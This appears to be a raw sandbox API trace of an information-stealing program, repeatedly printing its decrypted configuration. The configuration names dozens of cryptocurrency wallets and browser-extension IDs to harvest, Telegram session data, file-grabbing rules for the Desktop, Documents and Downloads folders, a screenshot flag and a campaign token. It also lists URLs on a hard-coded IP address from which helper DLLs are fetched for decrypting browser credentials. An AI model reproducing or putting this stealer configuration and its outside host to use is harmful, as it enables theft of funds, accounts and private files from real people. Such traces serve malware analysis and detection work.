returned="wlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.237] StrStrW (lpFirst="electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.237] StrStrW (lpFirst="Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.237] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension 